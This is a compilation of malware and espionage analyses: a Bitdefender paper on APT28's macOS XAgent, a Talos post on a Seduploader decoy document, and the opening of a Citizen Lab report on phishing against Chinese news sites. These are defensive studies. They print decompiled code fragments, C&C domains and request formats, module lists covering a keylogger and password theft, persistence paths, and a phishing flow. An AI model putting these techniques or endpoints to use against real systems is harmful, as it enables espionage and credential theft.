+if ( sysctl(&v29, 4u, &v27, &v26, 0LL, 0LL) )
+goto LABEL_13;
+The module then waits for internet connectivity by pinging 
+8.8.8.8
+v7 = v2;
+v3 = 0;
+objc_retainAutorelease(CFSTR(
+8.8.8.8
+v4 = objc_msgSend_ptr(CFSTR(
+8.8.8.8
+), selRef_cStringUsingEncoding_, 1LL, v7);
+v5 = SCNetworkReachabilityCreateWithName(0LL, (__int64)v4);
+HIDWORD(v7) = 0;
+if ( (unsigned __int8)SCNetworkReachabilityGetFlags(v5, (char *)&v7 + 4) )
+Initializes the module used for communicating with the C&C servers (called HTTPChannel) and establishes communication
+between the malware and the C&C servers.
+http_chanel_obj = objc_msgSend_ptr(classRef_HTTPChannel, selRef_alloc);
+v12 = v10(http_chanel_obj, (const char *)selRef_init);
+v13 = v10(classRef_NSThread, selRef_alloc);
+v14 = objc_msgSend_ptr(v13, selRef_initWithTarget_selector_object_, v4, selRef_postThread_, v12);
+objc_msgSend_ptr(v14, selRef_start);
+v15 = objc_msgSend_ptr(classRef_NSThread, selRef_alloc);
+v16 = objc_msgSend_ptr(v15, selRef_initWithTarget_selector_object_, v4, selRef_getThread_, v12);
+objc_msgSend_ptr(v16, selRef_start);
+Starts the main handle module for C&C commands and the spying modules: MainHandler
+v6 = objc_msgSend_ptr(classRef_MainHandler, selRef_alloc);
+v7 = objc_msgSend_ptr(v6, (const char *)selRef_init);
+v8 = objc_retain_ptr(v5, selRef_init);
+v9 = v7[4];
+v7[4] = v8;
+objc_release_ptr(v9);
+objc_msgSend_ptr(v7, selRef_cycleLoop);
+White Paper
+D. Communication
+The agent starts by selecting a C&C server from a hardcoded list, then sends a hello message and starts two main communications
+threads:
+One for receiving commands from the C&C server, in an infinite GET loop.
+One for sending data to the C&C server, in an infinite POST loop.
+Receiving commands from C&C server
+The agent awaits C&C commands from the server and inserts them into a command queue that will be executed in a separate thread by
+MainHandler module.
+C&C Servers
+http://23.227.196.215
+http://apple-iclods.org
+http://apple-checker.org
+http://apple-uptoday.org
+http://apple-search.info
+The command structure, called cmdPacket, contains a command identifier, a command parameter and a size for the parameter.
+struct cmdPacket {
+unsigned char cmd;
+char *param;
+unsigned long long param_size;
+Command Structure
+The command request to the C&C server is made via HTTP GET. It receives a base64 encoded cmdPacket that has previously been
+encrypted with RC4 using a hardcoded KERNEL_CRYPTO_MAIN_KEY.
+HTTP GET Request
+Method
+Server
+Verbs
+search/?, find/?, results/?, open/?, search/?, close/?
+Args
+from=, itwm=, ags=, oe=, aq=, btnG=, oprnd=, itwm=, utm=, channel=
+Response
+(base64)
+Request a command from server
+White Paper
+http://apple-iclods.org/close/?itwm=LO6iNPjpD0U8AVlLo_Hk3X9FSgAF&xzxI4=9_qwCS03APJT HTTP/1.1
+Host: apple-iclods.org
+Pragma: no-cache
+Connection: keep-alive
+Accept: */*
+User-Agent: 4fe4b9560e99e33dabca553e2eeee510
+CFNetwork/673.3 Darwin/13.4.0 (x86_64)
+Accept-Language: en-us
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Example of GET message
+Based on the command from the C&C server, the agent decodes and decrypts the command structure, and inserts it in a command queue
+to be executed by the MainHandler module.
+Command Value
+Command char Module
+Action
+InfoOS
+getOsInfo
+InfoOS
+getProcessList
+RemoteShell
+executeShellCommand
+RemoteShell
+getInstalledApps
+RemoteShell
+checkBackupIosDeviceFolder
+FileSystem
+downloadFileFromPath
+FileSystem
+createFileInSystem
+FileSystem
+executeFile
+FileSystem
+deleteFile
+ScreenShot
+takeScreenShot
+ScreenShot
+Start screenShotLoop
+ScreenShot
+Stop screenShotLoop
+Password
+getFirefoxPassword
+uploadFile:urlServer:userName:password:
+stopOperation
+FileSystem
+readFiles
+C&C Commands and Actions
+2. Sending information to C&C server
+To exfiltrate information to the C&C server (such as screenshots, passwords, files and more), the agent uses a defined structure called
+msgPacket.
+struct msgPacket {
+ int agent_id;
+ short module_id;
+ unsigned char cmd_id;
+ char *data_;
+ unsigned int data_size;
+ unsigned char priority;
+Message Structure
+White Paper
+The message is encrypted with RC4 with a hardcoded KERNEL_CRYPTO_MAIN_KEY. It then appends a key and a DATA_TOKEN xor-ed
+with the key. Ultimately, the module encodes the result with base64 and sends it to the C&C server in a POST request.
+HTTP POST Request
+Method
+POST
+Server
+Body(base64)
+Send message to server
+When starting the communication, the agent sends a hello message to the server using the POST request detailed above. This request has
+the following HTTP body:
+POST Body for Hello Message
+agent_id
+IOPlatformUUID
+module_id
+0x3303
+cmd_id
+data
+0x3303#3333#3344#3355#3377#
+data_size
+priority
+0x16
+Hello message body
+POST http://23.227.196.215/watch/?itwm=7FJcXOPyN_Znh7quXfh4WAaKquNzY
+&oe=9cu2LRvfab&ags=Pi8KZsjwBh&oe=HXK20P&aq=h2RBWMQI&aq=yRRTH&i5H=MKNBXTB
+Host: 23.227.196.215
+Content-Type: application/x-www-form-urlencoded; charset=utf-8
+Connection: keep-alive
+Proxy-Connection: keep-alive
+Accept: */*
+User-Agent: 4fe4b9560e99e33dabca553e2eeee510 (unknown version) CFNetwork/673.3 Darwin/13.4.0 (x86_64)
+Accept-Language: en-us
+Accept-Encoding: gzip, deflate
+Content-Length: 81
+0_a70HpSuFQI7FnNetyKM559SUEcCj-WBinNUfTdPQw0ZVTfyNXe26b6isibFp_cJLGqtiOZ9Em3iUA==
+Example of Hello Message
+[10]
+White Paper
+E. Modules
+All the important functionalities of the XAgent lie in its modules. These modules are used for communication with the C&C server, encryption
+and encoding and - most importantly - for data exfiltration and espionage.
+1. BootXLoader: is the main module that handles the initialization procedures.
+2. MainHandler:
+handles C&C commands and controls the other modules based on the commands it receives from the C&C.
+ case 
+ getInfoOSX
+ case 
+ getProcessList
+ case 
+ remoteShell
+ case 
+ getInstalledAPP
+ case 
+ showBackupIosFolder
+ case 
+ downloadFileFromPath
+ case 
+ createFileInSystem
+ case 
+ execFile
+ case 
+ deletFileFromPath
+ case 
+ takeScreenShot
+ case 
+ startTakeScreenShot
+ case 
+ stopTakeScreenShot
+ case 
+ getFirefoxPassword
+ case 
+ ftpUpload
+ case 
+ ftpStop
+ case 
+ readFiles
+3. HTTPChannel : Used for continuous communication with the C&C server, for receiving commands and sending stolen data to the server.
+-[HTTPChannel enqueue:array:]
+-[HTTPChannel dequeue:]
+-[HTTPChannel clear:]
+-[HTTPChannel getIntegerFromProcName]
+-[HTTPChannel getAgentID]
+-[HTTPChannel createRandomSymbols:]
+-[HTTPChannel createEncodeToken:size_token:]
+-[HTTPChannel createKeyToken:]
+-[HTTPChannel random:end:]
+-[HTTPChannel generateUrlQuestion:]
+-[HTTPChannel generateHttpMes:data_size:size_http_mes:]
+-[HTTPChannel createEncodeData:size_data:size_result_data:]
+-[HTTPChannel takeOutPacket:::]
+-[HTTPChannel generateUrlParametrs:]
+-[HTTPChannel isActiveNetwork]
+-[HTTPChannel isActiveChannel]
+-[HTTPChannel nextServer:]
+-[HTTPChannel timeoutChanger:]
+-[HTTPChannel get]
+-[HTTPChannel getCryptoRawPacket]
+-[HTTPChannel postMessageThread]
+-[HTTPChannel post]
+-[HTTPChannel createCryptPacket]
+-[HTTPChannel createDecryptPacket:]
+-[HTTPChannel helloMessage]
+[11]
+White Paper
+4. CameraShot: not implemented.
+5. Password: used to obtain passwords from Firefox browser profiles. The modules saves them to a file that will be sent to the C&C
+servers.
+-[Password writeLogMsg:]
+-[Password htmlLogMessage:]
+-[Password _initNSSLib]
+-[Password getFirefoxPassword]
+6. FileSystem: used for file management, such as: find file, delete file, execute file, create file.
+-[FileSystem getFileFromDirectory:sizeFile:]
+-[FileSystem createFile:bodyFile:sizeBody:]
+-[FileSystem executeFile:]
+-[FileSystem deleteFile:]
+-[FileSystem findFilesAtPath:withMask:andRecursion:]
+7. FTPManager: used to upload file to the server using credentials received in a previous command from the C&C server.
+-[FTPManager buffer]
+-[FTPManager init]
+-[FTPManager _checkFMServer:]
+-[FTPManager fileSizeOf:]
+-[FTPManager _createListingArrayFromDirectoryListingData:]
+-[FTPManager _uploadData:withFileName:toServer:]
+-[FTPManager getAgentID]
+-[FTPManager _uploadFile:toServer:]
+-[FTPManager _createNewFolder:atServer:]
+-[FTPManager _contentsOfServer:]
+-[FTPManager _downloadFile:toDirectory:fromServer:]
+-[FTPManager uploadData:withFileName:toServer:]
+8. InjectApp: Leverages existing higher-level vel interprocess communication mechanisms by sending an kASAppleScriptSuite/
+kGetAEUTused event to a process to make it load Apple scripting additions. It then sends another event to inject in to the following Mac
+system processes:
+mdworker
+SystemUIServer
+Dock
+loginwindow
+UserEventAgent
+-[InjectApp injectRunningApp]
+-[InjectApp isInjectable:]
+-[InjectApp sendEventToPid:]
+9. InfoOS: Gather information from the infected computer, such as: IOPlatformUUID, process list, operating system version.
+10. Keylogger: Records any keystroke from user activity on the system.
+-[Keylogger activeAppDidChange:]
+-[Keylogger addNotificationForActiveApp]
+-[Keylogger checkAccesibility]
+-[Keylogger checkSpecialKey:]
+-[Keylogger disableLogging]
+-[Keylogger enableLogging]
+-[Keylogger initEventTapAndStartRunLoop]
+-[Keylogger keyPressedeventMonitor]
+-[Keylogger pressedKeyWithKeyCode:andModifiers:]
+-[Keylogger removeNotificationForActiveApp]
+-[Keylogger sendLog]
+-[Keylogger setAccessibilityApplication]
+[12]
+White Paper
+-[Keylogger setKeyPressedeventMonitor:]
+-[Keylogger start]
+-[Keylogger status]
+-[Keylogger stop]
+11. Launcher: This module is used for generating XAgent
+s file path on the infected system and to re-execute itself.
+The malware is located in the 
+<UserHomedir>/Library/Assistants/.local/
+ path in a random directory with a name picked from a hardcoded
+list. Its filename is also picked from a hardcoded list.
++[Launcher randomInteger:max:]
++[Launcher generateRandomPathAndName]
+-[Launcher reloadItSelf:]
+-[Launcher checkProcessName]
+The malware is located in the 
+<UserHomedir>/Library/Assistants/.local/
+ path in a random directory with a name picked from a
+hardcoded list. Its filename is also picked from a hardcoded list.
+Posible Directory Path
+<UserHomedir>/Library/Assistants/.local/.localized/<exe_name>
+<UserHomedir>/Library/Assistants/.local/.com.apple.kshd/<exe_name>
+<UserHomedir>/Library/Assistants/.local/.com.apple.erx/<exe_name>
+<UserHomedir>/Library/Assistants/.local/.com.apple.fsg/<exe_name>
+<UserHomedir>/Library/Assistants/.local/.com.apple.ulk/<exe_name>
+<UserHomedir>/Library/Assistants/.local/.com.apple.wsat/<exe_name>
+<UserHomedir>/Library/Assistants/.local/.com.apple.sksh/<exe_name>
+<UserHomedir>/Library/Assistants/.local/.com.apple.ulkg/<exe_name>
+<UserHomedir>/Library/Assistants/.local/.com.apple.updater/<exe_name>
+Possible executable name <exe_name>
+kshd
+skgc
+mwwod
+rtsol
+paxs
+mpitil
+utyy
+exprd
+mpiwtil
+rtdl
+mpil
+sync
+nfod
+wsat
+nfsrfd
+scpo
+launchd
+Fres
+lanchd
+ntfs
+update
+lauhd
+mknod
+routr
+mnod
+route
+12. RemoteShell: Used to execute remote commands received from the attacker on the infected machine. It lists installed applications as
+well as iPhone backups.
+-[RemoteShell dispatchCommand:]
+-[RemoteShell start:]
+-[RemoteShell executeShellCommand:]
+-[RemoteShell getInstalledApps]
+-[RemoteShell checkBackupIosDeviceFolder]
+[13]
+White Paper
+13. Coder: Used for base64 encoding/decoding.
+Coder::b64Decode(char *,uint,uint *,char *)
+Coder::base64UrlEncode(uchar *,uint,uint *)
+Coder::b64Encode(uchar *,uint,uint *,char *)
+Coder::base64Decode(char *,uint,uint *)
+Coder::base64Encode(uchar *,uint,uint *)
+14. Cryptor: The cryptographic engine used to encrypt communication with the C&C server.
+CryptoContainer::cryptRc4(uchar *,uint,uint)
+CryptoContainer::decryptData(uchar *,uint,uint *)
+Linux
+HTTPChannel
+HTTPChannel
+MainHandler
+AgentKernel
+CameraShot
+FileObserver
+FileSystem
+FileSystem
+FMServer
+FTPManager
+InjectApp
+Keylogger
+Keylogger
+Launcher
+Password
+RemoteShell
+RemoteShell
+ScreenShot
+Coder
+Coder
+Cryptor
+Cryptor
+Modules comparison with Linux
+[14]
+White Paper
+F. Conclusions
+State-sponsored threat actors go to great lengths to reach their goals. With clear objectives and generous research & development budgets,
+APT groups get the job done. It was just a matter of time until the APT28 group realized they were missing out on a serious cyber-weapon
+to target Mac OS X users.
+The discovery of the XAgent module once again reasserts the need for organizations to tackle computer security in a unified manner,
+regardless of the operating system mix they have deployed. Missing out on Macs or mobile phones because they are 
+inherently secure
+gives determined attacks the opportunity they need to subvert individual devices and take over entire networks to exfiltrate information for
+months, if not years.
+[15]
+and reseller partners. Since 2001, Bitdefender has consistently produced award-winning business and consumer security technology, and is a leading security
+provider in virtualization and cloud technologies. Through R&D, alliances and partnership teams, Bitdefender has elevated the highest standards of security
+excellence in both its number-one-ranked technology and its strategic alliances with the world
+s leading virtualization and cloud technology providers. More
+information is available at
+http://www.bitdefender.com/
+All Rights Reserved. 
+ 2015 Bitdefender. All trademarks, trade names, and products referenced herein are property of their respective owners.
+FOR MORE INFORMATION VISIT: enterprise.bitdefender.com
+BD-Business-Feb.21.2017-Tk#: 70585
+Bitdefender is a global security technology company that delivers solutions in more than 100 countries through a network of value-added alliances, distributors
+and reseller partners. Since 2001, Bitdefender has consistently produced award-winning business and consumer security technology, and is a leading security
+provider in virtualization and cloud technologies. Through R&D, alliances and partnership teams, Bitdefender has elevated the highest standards of security
+excellence in both its number-one-ranked technology and its strategic alliances with the world
+s leading virtualization and cloud technology providers. More
+information is available at
+http://www.bitdefender.com/
+All Rights Reserved. 
+ 2015 Bitdefender. All trademarks, trade names, and products referenced herein are property of their respective owners.
+FOR MORE INFORMATION VISIT: enterprise.bitdefender.com
+BD-Business-Jul.18.2017-Tk#: crea1572
+Bitdefender is a global security technology company that delivers solutions in more than 100 countries through a network of value-added alliances, distributors
+Cyber Conflict
+ Decoy Document Used In Real Cyber
+Conflict
+blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html
+This post was authored by Warren Mercer, Paul Rascagneres and Vitor Ventura
+Update 10/23: CCDCOE released a statement today on their website
+Introduction
+Cisco Talos discovered a new malicious campaign from the well known actor Group 74 (aka
+Tsar Team, Sofacy, APT28, Fancy Bear
+). Ironically the decoy document is a deceptive flyer
+relating to the Cyber Conflict U.S. conference. CyCon US is a collaborative effort between the
+Army Cyber Institute at the United States Military Academy and the NATO Cooperative Cyber
+Military Academy and the NATO Cooperative Cyber Defence Centre of Excellence. Due to the
+nature of this document, we assume that this campaign targets people with an interest in cyber
+security. Unlike previous campaigns from this actor, the flyer does not contain an Office exploit
+or a 0-day, it simply contains a malicious Visual Basic for Applications (VBA) macro.
+The VBA drops and executes a new variant of Seduploader. This reconnaissance malware has
+been used by Group 74 for years and it is composed of 2 files: a dropper and a payload. The
+dropper and the payload are quite similar to the previous versions but the author modified
+some public information such as MUTEX name, obfuscation keys... We assume that these
+modifications were performed to avoid detection based on public IOCs.
+The article describes the malicious document and the Seduploader reconnaissance malware,
+especially the difference with the previous versions.
+Malicious Office Document
+Decoy Document
+The decoy document is a flyer concerning the Cyber Conflict U.S. conference with the following
+filename Conference_on_Cyber_Conflict.doc. It contains 2 pages with the logo of the
+organizer and the sponsors:
+Due to the nature of the document, we assume that the targeted people are linked or
+interested by the cybersecurity landscape. The exact content of the document can be found
+online on the conference website. The attackers probably copy/pasted it into Word to create
+the malicious document.
+The Office document contains a VBA script. Here is the code:
+The goal of this code is to get information from the properties of the document ("Subject",
+"Company", "Category", "Hyperlink base" and finally "Comments"). Some of this information
+can be directly extracted from the Windows explorer by looking at the properties of the file.
+The "Hyperlink Base" must be extracted using another tool, strings is capable of obtaining this
+by looking for long strings. Pay close attention to the contents of these fields as they appear
+base64 encoded.
+This extracted information is concatenated together to make a single variable. This variable is
+decoded with the base64 algorithm in order to get a Windows library (PE file) which is written
+to disk. The file is named netwf.dat. On the next step this file is executed by rundll32.exe via
+the KlpSvc export. We see that this file drops 2 additional files: netwf.bat and netwf.dll. The
+final part of the VBA script changes the properties of these two files, setting their attributes to
+Hidden. We can also see 2 VBA variable names: PathPld, probably for Path Payload, and
+PathPldBt, for Path Payload Batch.
+Seduploader Variant
+Dropper Analysis
+As opposed to previous campaigns performed by this actor, this latest version does not
+contain privilege escalation and it simply executes the payload and configures persistence
+mechanisms. The dropper installs 2 files:
+netwf.bat : executes netwf.dll
+netwf.dll : the payload
+The dropper implements 2 persistence mechanisms:
+HKCU\Environment\UserInitMprLogonScript to execute the netwf.bat file
+COM Object hijack of the following CLSID: {BCDE0395-E52F-467C-8E3DC4579291692E}, the CLSID of the class MMDeviceEnumerator.
+These 2 techniques have also been previously used by this actor.
+Finally the payload is executed by rundll32.exe (and the ordinal #1 in argument) or by
+explorer.exe if the COM Object hijack is performed. In this case, explorer.exe will instance the
+MMDeviceEnumerator class and will execute the payload.
+Payload Analysis
+The payload features are similar to the previous versions of Seduploader. We can compare it
+to the sample e338d49c270baf64363879e5eecb8fa6bdde8ad9 used in May 2017 by Group
+74. Of the 195 functions of the new sample, 149 are strictly identical, 16 match at 90% and 2
+match at 80%:
+In the previous campaign where adversaries used Office document exploits as an infection
+vector, the payload was executed in the Office word process. In this campaign, adversaries did
+not use any exploit. Instead,the payload is executed in standalone mode by rundll32.exe.
+Adversaries also changed some constants, such as the XOR key used in the previous version.
+The key in our version is:
+key=b"\x08\x7A\x05\x04\x60\x7c\x3e\x3c\x5d\x0b\x18\x3c\x55\x64"
+The MUTEX name is different too: FG00nxojVs4gLBnwKc7HhmdK0h
+Here are some of the Seduploader features:
+Screenshot capture (with the GDI API);
+data/configuration exfiltration;
+Execution of code;
+File downloading;
+The Command & Control (CC) of the analysed sample is myinvestgroup[.]com. During the
+investigation, the server did not provide any configuration to the infected machines. Based on
+the metadata of the Office documents and the PE files, the attackers had created the file on
+Wednesday, the 4th of October. We can see, in Cisco Umbrella, a peak in activities 3 days
+later, Saturday the 7th of October:
+Conclusion
+Analysis of this campaign shows us once more that attackers are creative and use the news to
+compromise the targets. This campaign has most likely been created to allow the targeting of
+people linked to or interested by cybersecurity, so probably the people who are more sensitive
+to cybersecurity threats. In this case, Group 74 did not use an exploit or any 0-day but simply
+used scripting language embedded within the Microsoft Office document. Due to this change,
+the fundamental compromise mechanism is different as the payload is executed in a
+standalone mode. The reasons for this are unknown, but, we could suggest that they did not
+want to utilize any exploits to ensure they remained viable for any other operations. Actors will
+often not use exploits due to the fact that researchers can find and eventually patch these
+which renders the actors weaponized platforms defunct. Additionally the author did some small
+updates after publications from the security community, again this is common for actors of this
+sophisticated nature, once their campaigns have been exposed they will often try to change
+tooling to ensure better avoidance. For example the actor changed the XOR key and the
+MUTEX name. We assume that these modifications were performed in order to avoid
+detection based on public IOCs.
+Coverage
+Additional ways our customers can detect and block this threat are listed below.
+Advanced Malware Protection (AMP) is
+ideally suited to prevent the execution of
+the malware used by these threat actors.
+CWS or WSA web scanning prevents
+access to malicious websites and detects
+malware used in these attacks.
+Email Security can block malicious emails
+sent by threat actors as part of their
+campaign.
+Network Security appliances such
+asNGFW,NGIPS, andMeraki MX can
+detect malicious activity associated with
+this threat.
+AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security
+products.
+Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious
+domains, IPs, and URLs, whether users are on or off the corporate network.
+Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the
+latest rule pack available for purchase on Snort.org.
+IOCs
+Files
+Office Documents:
+c4be15f9ccfecf7a463f3b1d4a17e7b4f95de939e057662c3f97b52f7fa3c52f
+e5511b22245e26a003923ba476d7c36029939b2d1936e17a9b35b396467179ae
+efb235776851502672dba5ef45d96cc65cb9ebba1b49949393a6a85b9c822f52
+Seduploader Dropper:
+522fd9b35323af55113455d823571f71332e53dde988c2eb41395cf6b0c15805
+Sedupload Payload:
+ef027405492bc0719437eb58c3d2774cc87845f30c40040bbebbcc09a4e3dd18
+Networks
+myinvestgroup[.]com
+Insider Information An intrusion campaign targeting
+Chinese language news sites
+citizenlab.ca /2017/07/insider-information-an-intrusion-campaign-targeting-chinese-language-news-sites/
+7/5/2017
+Key Findings
+This report reveals a campaign of reconnaissance, phishing, and malware operations that use content and
+domains made to mimic Chinese language news websites.
+We confirm the news portal China Digital Times was the target of a phishing operation and show how content
+and domains were made to mimic four other newsgroups in reconnaissance and malware operations:
+Mingjing News, Epoch Times, HK01, and Bowen Press. We cannot confirm if these other groups were
+directly targeted. These news websites report on issues sensitive to the government of China and are blocked
+in the country. However, this report does not conclusively attribute the campaign to a publicly reported threat
+actor or state sponsor.
+The malware operation made efforts to evade detection and frustrate analysis. The operation combined
+obfuscated, packed executables and custom shellcode with an additional step of using compromised servers
+to host the malicious payload. We identify the payload as NetWire, a commodity remote access trojan
+typically seen used in cybercrime activities and not commonly observed in Asia.
+We connect the infrastructure used in the campaign to previous malware operations targeting a Tibetan radio
+station and the Thai government. We also connect one of the code signing certificates we observed to a
+campaign targeting gaming companies. It is notable that NetWire was also used as a payload in that
+campaign.
+Summary
+A journalist at China Digital Times (CDT), (an independent Chinese and English language news portal), receives an
+email from a source claiming to have a tip on a sensitive story: 
+I have insider information that is different from what
+ve published
+. The email includes a link to an article from the news portal. Clicking on the link displays the article
+with a pop-up message asking the journalist to enter their username and password in prompt designed to look like a
+WordPress login page. What is normally a routine interaction for the journalist has become increasingly threatening.
+The tip from the source is actually an attempt to steal the journalist
+s WordPress credentials used to manage and
+publish content to the news portal.
+The rouse used in the phishing email was clever, but it did not work. The journalist was immediately suspicious of
+the phishing attempts and shared them with researchers at the Citizen Lab to analyze, which led to the discovery of
+a wider campaign targeting Chinese language news sites using various tactics including reconnaissance, phishing,
+and malware. The campaign used domains and copied content that masqueraded as Epoch Times, Mingjing
+News, HK01, and Bowen Press. It is not clear if these other news groups were directly targeted. These
+organizations often report on issues that are politically sensitive to the government of China and their websites are
+blocked in the country. Our analysis of the infrastructure used in this campaign reveals connections to previous
+malware operations targeting Tibetan journalists and the Thai government. These incidents includes targets that are
+generally within the geopolitical interest of the government of China. However, this report does not conclusively
+attribute the campaign to a publicly reported threat actor or state sponsor.
+There are numerous incidents of journalists and news organizations reporting on China being targeted by digital
+1/23
+espionage operations. In 2009, as part of the GhostNet investigation, Citizen Lab found that China-based operators
+had infiltrated the mail servers of Associated Press offices in London and Hong Kong. Another investigation in 2009,
+by Nart Villeneuve and Greg Walton uncovered a targeted malware campaign against China-based journalists
+working at Reuters, the Straits Times, Dow Jones, Agence France Presse, and Ansa. In recent years other major
+news organizations, including the The New York Times, the Wall Street Journal, and the Washington Post, have
+reported intrusions of their networks and systems by China-based operators. In each incident, the operators were
+suspected to be sponsored by the government of China with the motivation of gathering information on Chinarelated reporting that the newspapers were covering.
+These historical incidents and the campaign we analyze in this report serve as a general reminder that the media
+are targets for digital espionage and, as a result, news organizations and journalists need to reflect on their business
+practices and behaviours and adopt a more systematic approach to information security.
+This report proceeds in five parts outlined below:
+Part 1: Phishing Operation Targeting China Digital Times
+This section describes phishing messages sent to China Digital Times and our subsequent investigation into the
+tactics and server infrastructure used in the operation.
+Part 2: Uncovering a Wider Campaign
+This section reveals how the operation against China Digital Times was part of a wider campaign of phishing,
+reconnaissance, and malware operations that used domains and content made to mimic four other Chineselanguage news organizations, Epoch Times, Mingjing News, HK01, and Bowen Press.
+Part 3: Malware Operation
+This section describes a malware operation that used content and domains made to mimic Chinese-language news
+organizations HK01 and Bowen Press. The malware operation made efforts to evade detection and frustrate
+analysis. The operation combined obfuscated, packed executables and custom shellcode with an additional step of
+using compromised servers to host the malicious payload. We identify the payload as NetWire, a commodity remote
+access trojan that is not commonly observed in Asia and typically seen used in cybercrime activities.
+Part 4: Campaign Connections
+This section links infrastructure used in the campaign against Chinese-language news site to previous malware
+campaigns targeting a Tibetan radio station and the Thai government. It also shows the same certificate information
+used to sign the malware in this campaign was used by other malware operations targeting gaming companies.
+Part 5: Discussion and Conclusions
+This section summarizes the characteristics of the campaign and how it reflects wider information security
+challenges for news organizations and journalists.
+Part 1: Phishing Operation Targeting China Digital Times
+This section describes a phishing messages sent to China Digital Times and our subsequent investigation into the
+tactics and server infrastructure used in the operation.
+A Suspicious Tip: 
+I Have Insider Information
+China Digital Times is a multi-language news portal that reports on political issues in China and aggregates Internet
+2/23
+content that has been censored in the country. It was founded by Xiao Qiang, a Professor at the University of
+California, Berkeley who has been engaged in human rights activism since the 1989 Tiananmen Square Massacre.
+On February 12, 2017, a CDT staff member received an email from a person claiming to be a UC Berkeley student
+with 
+insider information
+ on claims made by 
+ (Guo Yungui) on 
+hacker attacks
+ against the Chinese language
+news site Mingjing News. The characters 
+ (Guo Yungui) appears to be a slight variation of Guo Wengui (
+), a Chinese billionaire who has gained notoriety after voicing allegations that high ranking officials in the
+Communist Party of China are engaged in corruption. In January 2017 he had an interview with Mingjing News in
+which he made further unconfirmed allegations regarding official corruption and abuse. Following this interview, the
+editor of Minjing News, claimed 
+several sites and channels of Mingjing were attacked by vicious groups controlled
+by corrupt parties.
+The email sent to CDT included a link that directly referenced an IP address rather than a domain name. The staff
+member was immediately suspicious and did not click on the link (see below):
+Original Email Text
+From: papa papa hellomice@mail.com
+Date: February 13 2017
+Subject: 
+To: [REDACTED]
+hXXp://43.240.14.37/asdasdasadqddd12222111[.]php/article.asp=search.php
+English Translation
+From: papa papa hellomice@gmail.com
+Date: February 13 2017
+Subject: I am a student of UC Berkeley. I want to get to know you and I have some
+explosive revelations for you
+To: [REDACTED]
+d like to reveal some detailed insider information on Guo Yungui
+s claims that Chinese hackers attacked Mingjing
+News website.hXXp://43.240.14.37/asdasdasadqddd12222111[.]php/article.asp=search.php
+Three days later, the staff member received another email offering insider information on the Mingjing attacks. This
+email included a link that, at first glance, appeared to be the domain of China Digital Times, but with a slight
+misspelling. Instead of chinadigitaltimes.net the link sent was chinadagitaltimes[.]net with an added 
+instead of an 
+ in the word digital. A day after this email was sent, other staff members at CDT received similar
+emails with the same link (see below).
+Original Email Text
+From: sda daaa
+<aisia.anminda8@mail.com>
+Date: February 14 2017
+Subject: 
+To: [REDACTED]
+:hXXp://www.chinadagitaltimes[.]net/2016/07/chinese-hackers-blamed-multiple-breaches-fdic/
+English Translation
+3/23
+From: sda daaa <aisia.anminda8@mail.com>
+Date: February 14 2017
+Subject: hi, I'd like to offer you some insider
+information.
+To: [REDACTED]
+I have the latest information on an
+article published by China Daily. It
+s about follow-ups on the incident of Chinese hackers and some insider
+information on the recent attacks against Mingjing News.
+Link to the article.
+hXXp://www.chinadagitaltimes[.]net/2016/07/chinese-hackers-blamed-multiple-breaches-fdic/The information
+presented in the article is slightly different from the information I know.
+The link connects to a web page that mirrors content from the real CDT website displaying an article related to
+hacker groups from China (see Figure 1 for comparison of the real and fake content).
+Figure 1: Comparison of the real and fake CDT webpages.
+Visually, the content is identical. The only substantive difference between the real and fake content is a few lines of
+javascript code (see Figure 2).
+Figure 2: Snippet of Javascript code in the source of the fake China Digital Times webpage.
+The function of this code is to pop a window on the screen that says 
+ [Your login has
+expired, please log in again!] (see Figure 3).
+4/23
+Figure 3: Screenshot of the fake China Digital Times webpage and the popup message displayed.
+If the OK button is clicked, the user is forwarded to what appears to be a WordPress login page (see Figure 4).
+5/23
+Figure 4: Fake WordPress Login page
+Credentials entered into this page are sent to the operators. Following entry of credentials, users are forwarded to
+the real CDT site. The real CDT website runs on WordPress, and therefore the purpose of this phishing campaign is
+to steal credentials to the actual CDT website and gain access. The operators customized a fake domain to host real
+content and developed custom phishing pages for stealing the WordPress credentials demonstrating a substantial
+level of effort.
+Phishing Operation Timeline
+Through analysis of the server used to host the phishing pages and the phishing emails sent to CDT we
+documented the activities and timeline of the operation, which lasted for approximately 20 days (see Figure 5). The
+operation began with the operators scanning the real CDT website for vulnerabilities. Five days later the first
+phishing email was sent. The next day the operators registered the domain mimicking the CDT site, set up the fake
+site, and sent out phishing emails with links to it. Over the next week further phishing emails were sent to CDT.
+Through analysis of log files found on the server we observed what appears to be the operators testing the phishing
+page during this period. The last phishing email sent to CDT was on February 20. Eight days later the fake CDT
+website was taken down and no further phishing emails were sent.
+6/23
+Figure 5: Timeline of the phishing operation targeting China Digital Times
+Reconnaissance and phishing server
+This section provides analysis of the server used for reconnaissance and phishing activities. We find fake domains
+and content related to China Digital Times and Mingjing News on this server.
+The links sent in the emails to CDT are both on the same IP address: 43[.]240[.]14[.]37, hosted by Cloudie, a
+hosting provider based in Hong Kong. The link provided in the first phishing email sent to CDT included the full IP
+address of the server.
+hXXp://43.240.14.37/asdasdasadqddd12222111[.]php/article.asp=search.php
+Four days after the first phishing email was sent to CDT we accessed the content on the page and found it served
+content copied from a Mingjing News article about illicit sales of Chinese visas (See Figure 6 for comparison of the
+real and fake content).
+Figure 6: Comparison of the real and fake Mingjing news site
+The fake page did not render correctly and was missing content, which may be due to improper mirroring of the
+7/23
+content, or possibly because the page relies on external content in a location that changed since the initial copy.
+Comparing the legitimate page to the fake page finds no addition of code by the operator on the fake page.
+Reconnaissance Server Log Analysis
+We investigated the directory of the fake Minjing News page and found the content was
+modified on February 14, 2017 and discovered a file 
+log.txt
+. This file is a custom log that captures three
+pieces of information from every visitor to the page: IP address, web browser user agent, and time visited (see
+Figure 7). There is no malicious content on the page. We suspect that the purpose of this page is to perform
+reconnaissance of targets by testing if users will click on the link, and by retrieving IP addresses and user agent
+information.
+Figure 7: Server directory containing the log.txt file.
+The first visit in the log file is on February 2, 2017 from the IP address 45[.]124[.]24[.]39 which is also hosted
+on Cloudie. This visit is likely from the operators because it was the first visit and from the same provider on which
+the server is hosted. There are also two visits in the logs within seconds of each other, from the IP address
+125[.]86[.]123[.]47 (ChinaNet, Chongqing China)
+Examining the email headers from the phishing emails reveals two IP addresses, including the same Cloudie IP and
+another ChinaNet Chongqing IP (see below):
